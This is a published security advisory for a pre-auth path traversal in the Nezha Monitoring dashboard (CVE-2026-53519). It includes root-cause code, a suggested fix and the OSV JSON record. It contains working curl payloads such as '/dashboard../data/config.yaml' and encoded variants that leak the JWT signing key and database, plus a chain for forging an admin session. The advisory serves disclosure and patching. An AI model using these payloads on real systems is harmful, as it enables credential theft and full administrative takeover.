GHSA-5C25-7VPJ-9MQH
Vulnerability from github – Published: 2026-06-26 23:03 – Updated: 2026-06-26 23:03Summary
fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required.
In default deployments (the values shipped in model/config.go and the layout shipped in the project Dockerfile) data/config.yaml contains the HS256 jwt_secret_key used by cmd/dashboard/controller/jwt.go to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.
Details
Root cause
// cmd/dashboard/controller/controller.go @ 636f4a9
387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
392: return
393: }
// cmd/dashboard/controller/controller.go @ 636f4a9
322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
324: if _, err := os.Stat(path); err == nil {
325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
326: return true
327: }
fallbackToFrontend is wired as the catch-all at cmd/dashboard/controller/controller.go:157 — r.NoRoute(fallbackToFrontend(frontendDist)) — so every URL not matched by an earlier route reaches it, including pre-auth.
Path math (verified, see appendix)
Input URL.Path |
TrimPrefix(..., "/dashboard") |
path.Join("admin-dist", ...) |
Reachable file |
|---|---|---|---|
/dashboard/login |
/login |
admin-dist/login |
legitimate, intended |
/dashboard/../data/config.yaml |
/../data/config.yaml |
data/config.yaml |
but blocked by Go http.ServeFile's URL ..-segment guard → 400 |
/dashboard../data/config.yaml |
../data/config.yaml |
data/config.yaml |
served, 200 |
/dashboard%2e%2e/data/config.yaml |
../data/config.yaml (decoded) |
data/config.yaml |
served, 200 |
/dashboard..%2fdata/config.yaml |
../data/config.yaml (decoded) |
data/config.yaml |
served, 200 |
The negative control (/dashboard/../data/config.yaml) lands at the same on-disk path after path.Join, but is rejected by http.ServeFile because Go's stdlib enforces a URL-level traversal guard that fires when the request URL itself contains a standalone .. segment. The bypass works because in /dashboard../... the first URL segment is the single token dashboard.. — no standalone .. — so the stdlib guard does not trigger. The traversal segment is created after TrimPrefix, downstream of every defense.
Why the existing defenses miss
- The prefix check is a substring test on the raw URL string, not a segment test.
dashboardanddashboard..are both accepted. path.JoinsilentlyCleans the result — so the..is consumed correctly to escapeadmin-dist, with no error returned to indicate escape.- Go's
http.ServeFilestdlib guard fires only on URLs with a standalone..segment (pernet/http.containsDotDot). The payload puts the dots inside the first segment instead. - No anchored "is this still under the template root?" check exists after
path.Join.
PoC
Setup
TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef
HARNESS: stdlib-only port — see Appendix A
WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db
TIME-TO-REPRO: first request
The harness plants this data/config.yaml:
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro
Observed responses
Primary payload — pre-auth secret disclosure:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 167
Content-Type: application/yaml
Last-Modified: Sun, 24 May 2026 12:16:23 GMT
Date: Sun, 24 May 2026 12:16:25 GMT
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro
Negative control — Go stdlib guard rejects the canonical form:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
invalid URL path
Encoded-dot variant — bypass also works:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]
Encoded-slash variant — bypass also works:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]
Double-encoded — confirms the bypass requires single-level encoding:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 30
Content-Type: text/html; charset=utf-8
<html>admin frontend OK</html>
The literal %252e%252e does not decode to .., so the path becomes admin-dist/%2e%2e/data/config.yaml (no escape), os.Stat fails, and the handler falls through to serving admin-dist/index.html — no secret disclosure.
Encoded leading slash — also blocked at the stdlib layer:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'
HTTP/1.1 400 Bad Request
invalid URL path
SQLite database exfil — same primitive:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'
HTTP/1.1 200 OK
Content-Length: 42
SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY
Sanity checks
- Normal
/dashboard/request still servesadmin-dist/index.htmlwith HTTP 200 — the bypass does not regress legitimate behavior. - Requests to
/api/...still hit the JSON-404 branch — the bypass is isolated to the/dashboardfallback.
Impact
Direct primitive
Unauth read of any file in the dashboard's working directory subtree reachable by escaping admin-dist one level. In default deployments that includes:
| File | Default path | Why it matters |
|---|---|---|
data/config.yaml |
from -c flag default (cmd/dashboard/main.go:104) |
Contains jwt_secret_key (signing key, HS256), agent_secret_key, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets |
data/sqlite.db |
from -db flag default (cmd/dashboard/main.go:105) |
Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs |
Chain to administrative account takeover (verified path)
- Read config —
GET /dashboard../data/config.yamlreturns plaintext YAML containingjwt_secret_key. - Read database —
GET /dashboard../data/sqlite.dbreturns the SQLite file; an attacker opens it and reads theuserstable to recover admin user IDs (and any other claims the JWT references). - Forge a JWT — the dashboard's JWT middleware at
cmd/dashboard/controller/jwt.go:22,27is wired with:go Key: []byte(singleton.Conf.JWTSecretKey), SigningAlgorithm: "HS256", CookieName: "nz-jwt", IdentityKey: model.CtxKeyAuthorizedUser,HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whoseuser_idclaim matches the admin user from step 2 and attaches it as thenz-jwtcookie (orAuthorization: Bearer ...). - Operate as admin — every admin handler (
adminHandlerchain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings. The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.
Suggested fix
Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root before any filesystem call. Minimal diff:
- if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
- stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
+ if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") {
+ stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/")
+ cleanPath := path.Clean("/" + stripPath)
+ if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") {
+ c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found")))
+ return
+ }
localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
The /dashboard -> /dashboard/ redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in frontendPageUrlRegistry.
The same hardening should be applied to the user-template branch (lines 399–405), which uses the same path.Join pattern with singleton.Conf.UserTemplate. While the /dashboard prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled URL.Path to that branch would re-introduce the same primitive.
A defense-in-depth alternative is to replace the local os.Stat + http.ServeFile branch with a http.FileServer(http.FS(subFS)) rooted at the embedded admin-dist subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nezhahq/nezha"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53519"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T23:03:13Z",
"nvd_published_at": "2026-06-12T22:16:51Z",
"severity": "CRITICAL"
},
"details": "### Summary\n`fallbackToFrontend` in the dashboard\u0027s `NoRoute` handler treats any URL whose **raw string** starts with `/dashboard` as an admin-frontend asset request. The check uses `strings.HasPrefix`, not a path-segment match, so the input `/dashboard../data/config.yaml` is accepted; `strings.TrimPrefix` leaves `../data/config.yaml`; and `path.Join(\"admin-dist\", \"../data/config.yaml\")` normalizes to `data/config.yaml` \u2014 which `os.Stat` finds and `http.ServeFile` returns. No authentication required.\n \nIn default deployments (the values shipped in `model/config.go` and the layout shipped in the project `Dockerfile`) `data/config.yaml` contains the HS256 `jwt_secret_key` used by `cmd/dashboard/controller/jwt.go` to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user \u2014 full dashboard takeover from one GET request.\n\n### Details\n## Root cause\n \n```go\n// cmd/dashboard/controller/controller.go @ 636f4a9\n387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)\n388: if strings.HasPrefix(c.Request.URL.Path, \"/dashboard\") {\n389: stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard\")\n390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)\n391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {\n392: return\n393: }\n```\n \n```go\n// cmd/dashboard/controller/controller.go @ 636f4a9\n322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {\n323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {\n324: if _, err := os.Stat(path); err == nil {\n325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)\n326: return true\n327: }\n```\n \n`fallbackToFrontend` is wired as the catch-all at `cmd/dashboard/controller/controller.go:157` \u2014 `r.NoRoute(fallbackToFrontend(frontendDist))` \u2014 so every URL not matched by an earlier route reaches it, including pre-auth.\n \n### Path math (verified, see appendix)\n \n| Input `URL.Path` | `TrimPrefix(..., \"/dashboard\")` | `path.Join(\"admin-dist\", ...)` | Reachable file |\n|---|---|---|---|\n| `/dashboard/login` | `/login` | `admin-dist/login` | legitimate, intended |\n| `/dashboard/../data/config.yaml` | `/../data/config.yaml` | `data/config.yaml` | **but blocked by Go `http.ServeFile`\u0027s URL `..`-segment guard \u2192 400** |\n| `/dashboard../data/config.yaml` | `../data/config.yaml` | `data/config.yaml` | **served, 200** |\n| `/dashboard%2e%2e/data/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** |\n| `/dashboard..%2fdata/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** |\n \nThe negative control (`/dashboard/../data/config.yaml`) lands at the same on-disk path after `path.Join`, but is rejected by `http.ServeFile` because Go\u0027s stdlib enforces a URL-level traversal guard that fires when the **request URL** itself contains a standalone `..` segment. The bypass works because in `/dashboard../...` the first URL segment is the single token `dashboard..` \u2014 no standalone `..` \u2014 so the stdlib guard does not trigger. The traversal segment is **created after `TrimPrefix`**, downstream of every defense.\n \n### Why the existing defenses miss\n \n1. The prefix check is a substring test on the raw URL string, not a segment test. `dashboard` and `dashboard..` are both accepted.\n2. `path.Join` silently `Clean`s the result \u2014 so the `..` is consumed correctly to escape `admin-dist`, with no error returned to indicate escape.\n3. Go\u0027s `http.ServeFile` stdlib guard fires only on URLs with a standalone `..` segment (per `net/http.containsDotDot`). The payload puts the dots inside the first segment instead.\n4. No anchored \"is this still under the template root?\" check exists after `path.Join`.\n\n## PoC\n### Setup\n \n```text\nTARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef\nHARNESS: stdlib-only port \u2014 see Appendix A\nWORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db\nTIME-TO-REPRO: first request\n```\n \nThe harness plants this `data/config.yaml`:\n \n```yaml\ndebug: false\nlisten_port: 8008\nlanguage: en_US\njwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE\nagent_secret_key: REPRO_AGENT_SECRET_VALUE\nsite:\n brand: nezha-repro\n```\n \n### Observed responses\n \n**Primary payload \u2014 pre-auth secret disclosure:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard../data/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 200 OK\nAccept-Ranges: bytes\nContent-Length: 167\nContent-Type: application/yaml\nLast-Modified: Sun, 24 May 2026 12:16:23 GMT\nDate: Sun, 24 May 2026 12:16:25 GMT\n \ndebug: false\nlisten_port: 8008\nlanguage: en_US\njwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE\nagent_secret_key: REPRO_AGENT_SECRET_VALUE\nsite:\n brand: nezha-repro\n```\n \n**Negative control \u2014 Go stdlib guard rejects the canonical form:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard/../data/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 400 Bad Request\nContent-Type: text/plain; charset=utf-8\n \ninvalid URL path\n```\n \n**Encoded-dot variant \u2014 bypass also works:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 167\nContent-Type: application/yaml\n[... full config.yaml including jwt_secret_key ...]\n```\n \n**Encoded-slash variant \u2014 bypass also works:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard..%2fdata/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 167\nContent-Type: application/yaml\n[... full config.yaml including jwt_secret_key ...]\n```\n \n**Double-encoded \u2014 confirms the bypass requires single-level encoding:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 30\nContent-Type: text/html; charset=utf-8\n \n\u003chtml\u003eadmin frontend OK\u003c/html\u003e\n```\n \nThe literal `%252e%252e` does not decode to `..`, so the path becomes `admin-dist/%2e%2e/data/config.yaml` (no escape), `os.Stat` fails, and the handler falls through to serving `admin-dist/index.html` \u2014 no secret disclosure.\n \n**Encoded leading slash \u2014 also blocked at the stdlib layer:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml\u0027\n```\n \n```text\nHTTP/1.1 400 Bad Request\n \ninvalid URL path\n```\n \n**SQLite database exfil \u2014 same primitive:**\n \n```bash\ncurl -s -i --path-as-is \u0027http://127.0.0.1:8008/dashboard../data/sqlite.db\u0027\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 42\n \nSQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY\n```\n \n### Sanity checks\n \n- Normal `/dashboard/` request still serves `admin-dist/index.html` with HTTP 200 \u2014 the bypass does not regress legitimate behavior.\n- Requests to `/api/...` still hit the JSON-404 branch \u2014 the bypass is isolated to the `/dashboard` fallback.\n\n\n## Impact\n### Direct primitive\nUnauth read of any file in the dashboard\u0027s working directory subtree reachable by escaping `admin-dist` one level. In default deployments that includes:\n \n| File | Default path | Why it matters |\n|---|---|---|\n| `data/config.yaml` | from `-c` flag default (`cmd/dashboard/main.go:104`) | Contains `jwt_secret_key` (signing key, **HS256**), `agent_secret_key`, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets |\n| `data/sqlite.db` | from `-db` flag default (`cmd/dashboard/main.go:105`) | Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs |\n \n### Chain to administrative account takeover (verified path)\n \n1. **Read config** \u2014 `GET /dashboard../data/config.yaml` returns plaintext YAML containing `jwt_secret_key`.\n2. **Read database** \u2014 `GET /dashboard../data/sqlite.db` returns the SQLite file; an attacker opens it and reads the `users` table to recover admin user IDs (and any other claims the JWT references).\n3. **Forge a JWT** \u2014 the dashboard\u0027s JWT middleware at `cmd/dashboard/controller/jwt.go:22,27` is wired with:\n ```go\n Key: []byte(singleton.Conf.JWTSecretKey),\n SigningAlgorithm: \"HS256\",\n CookieName: \"nz-jwt\",\n IdentityKey: model.CtxKeyAuthorizedUser,\n ```\n HS256 is symmetric \u2014 possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose `user_id` claim matches the admin user from step 2 and attaches it as the `nz-jwt` cookie (or `Authorization: Bearer ...`).\n4. **Operate as admin** \u2014 every admin handler (`adminHandler` chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings.\nThe chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.\n## Suggested fix\n \nMake the prefix test segment-aware and reject paths whose cleaned form escapes the template root **before** any filesystem call. Minimal diff:\n \n```diff\n- if strings.HasPrefix(c.Request.URL.Path, \"/dashboard\") {\n- stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard\")\n+ if c.Request.URL.Path == \"/dashboard/\" || strings.HasPrefix(c.Request.URL.Path, \"/dashboard/\") {\n+ stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard/\")\n+ cleanPath := path.Clean(\"/\" + stripPath)\n+ if cleanPath == \"..\" || strings.HasPrefix(cleanPath, \"../\") || strings.Contains(cleanPath, \"/../\") {\n+ c.JSON(http.StatusNotFound, newErrorResponse(errors.New(\"404 Not Found\")))\n+ return\n+ }\n localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)\n```\n \nThe `/dashboard` -\u003e `/dashboard/` redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in `frontendPageUrlRegistry`.\n \nThe same hardening should be applied to the user-template branch (lines 399\u2013405), which uses the same `path.Join` pattern with `singleton.Conf.UserTemplate`. While the `/dashboard` prefix-confusion vector doesn\u0027t hit it directly, any future code change that hands a controlled `URL.Path` to that branch would re-introduce the same primitive.\n \nA defense-in-depth alternative is to replace the local `os.Stat + http.ServeFile` branch with a `http.FileServer(http.FS(subFS))` rooted at the embedded `admin-dist` subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.",
"id": "GHSA-5c25-7vpj-9mqh",
"modified": "2026-06-26T23:03:13Z",
"published": "2026-06-26T23:03:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53519"
},
{
"type": "PACKAGE",
"url": "https://github.com/nezhahq/nezha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.